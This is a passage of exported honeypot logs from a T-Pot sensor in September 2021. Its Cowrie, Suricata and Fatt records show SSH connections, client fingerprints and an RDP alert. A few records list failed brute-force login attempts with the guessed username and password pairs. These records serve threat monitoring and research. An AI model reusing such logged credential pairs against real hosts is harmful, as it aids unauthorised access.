"flow_id": 1696211104585842, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57882, "dest_port": 22, "timestamp": "2021-09-20T11:11:23.096525Z", "@timestamp": "2021-09-20T11:11:23.096Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26319	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:11:23.09718+03	2021-09-20 14:15:13.115646+03	{"_id": "qwbnAnwBvYTbRNuERR5m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57882, "dest_port": 22, "timestamp": "2021-09-20T11:11:23.097180", "@timestamp": "2021-09-20T11:11:23.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26320	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:11:22.823844+03	2021-09-20 14:15:13.117647+03	{"_id": "rQbnAnwBvYTbRNuERR7-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "da69a67ec34a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:11:22.823844Z", "@timestamp": "2021-09-20T11:11:22.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26321	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:11:23.097423+03	2021-09-20 14:15:13.118645+03	{"_id": "tQbnAnwBvYTbRNuERR7_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "da69a67ec34a", "@version": "1", "timestamp": "2021-09-20T11:11:23.097423Z", "@timestamp": "2021-09-20T11:11:23.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26322	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:23.859763+03	2021-09-20 14:15:13.119645+03	{"_id": "twbnAnwBvYTbRNuESR7o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "73c88146d84f", "@version": "1", "duration": 3.159640073776245, "timestamp": "2021-09-20T11:11:23.859763Z", "@timestamp": "2021-09-20T11:11:23.859Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26323	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:11:25.000303+03	2021-09-20 14:15:13.120646+03	{"_id": "xQbnAnwBvYTbRNuEUB4B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:10:24.033221+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 586443091116485, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 51093, "timestamp": "2021-09-20T11:11:25.000303Z", "@timestamp": "2021-09-20T11:11:25.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
26329	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:27.342745+03	2021-09-20 14:15:13.127647+03	{"_id": "1AbnAnwBvYTbRNuEVx7S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1403375939621253, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51854, "dest_port": 22, "timestamp": "2021-09-20T11:11:27.342745Z", "@timestamp": "2021-09-20T11:11:27.342Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26324	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:25.492258+03	2021-09-20 14:15:13.122646+03	{"_id": "xwbnAnwBvYTbRNuEUR4h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56846, "timestamp": "2021-09-20T11:11:25.492258", "@timestamp": "2021-09-20T11:11:25.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26325	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:11:25.59007+03	2021-09-20 14:15:13.123644+03	{"_id": "yQbnAnwBvYTbRNuEUR65", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "da69a67ec34a", "@version": "1", "duration": 2.7665278911590576, "timestamp": "2021-09-20T11:11:25.590070Z", "@timestamp": "2021-09-20T11:11:25.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26326	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:27.168668+03	2021-09-20 14:15:13.124646+03	{"_id": "ywbnAnwBvYTbRNuEVR6i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "de16973d9266", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:27.168668Z", "@timestamp": "2021-09-20T11:11:27.168Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26327	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:26.777046+03	2021-09-20 14:15:13.125646+03	{"_id": "zgbnAnwBvYTbRNuEVR6j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [admin/s3gurid4d] failed", "session": "1b5d2c28b624", "@version": "1", "password": "s3gurid4d", "username": "admin", "timestamp": "2021-09-20T11:11:26.777046Z", "@timestamp": "2021-09-20T11:11:26.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26328	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:27.343979+03	2021-09-20 14:15:13.126646+03	{"_id": "0wbnAnwBvYTbRNuEVR6l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "de16973d9266", "@version": "1", "timestamp": "2021-09-20T11:11:27.343979Z", "@timestamp": "2021-09-20T11:11:27.343Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26330	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:27.342901+03	2021-09-20 14:15:13.129645+03	{"_id": "1QbnAnwBvYTbRNuEWB7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51854, "timestamp": "2021-09-20T11:11:27.342901", "@timestamp": "2021-09-20T11:11:27.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26331	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:28.207482+03	2021-09-20 14:15:13.130646+03	{"_id": "1wbnAnwBvYTbRNuEWR6L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35406 (192.168.176.2:22) [session: 63dfe9860929]", "session": "63dfe9860929", "@version": "1", "protocol": "ssh", "src_port": 35406, "dest_port": 22, "timestamp": "2021-09-20T11:11:28.207482Z", "@timestamp": "2021-09-20T11:11:28.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26332	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:28.210409+03	2021-09-20 14:15:13.131646+03	{"_id": "3gbnAnwBvYTbRNuEWR6L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "63dfe9860929", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:28.210409Z", "@timestamp": "2021-09-20T11:11:28.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26333	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:28.360575+03	2021-09-20 14:15:13.132646+03	{"_id": "3wbnAnwBvYTbRNuEWR6L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "1b5d2c28b624", "@version": "1", "duration": 3.143660306930542, "timestamp": "2021-09-20T11:11:28.360575Z", "@timestamp": "2021-09-20T11:11:28.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26334	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:28.519762+03	2021-09-20 14:15:13.133646+03	{"_id": "4AbnAnwBvYTbRNuEWR6L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [angel/angel] failed", "session": "de16973d9266", "@version": "1", "password": "angel", "username": "angel", "timestamp": "2021-09-20T11:11:28.519762Z", "@timestamp": "2021-09-20T11:11:28.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
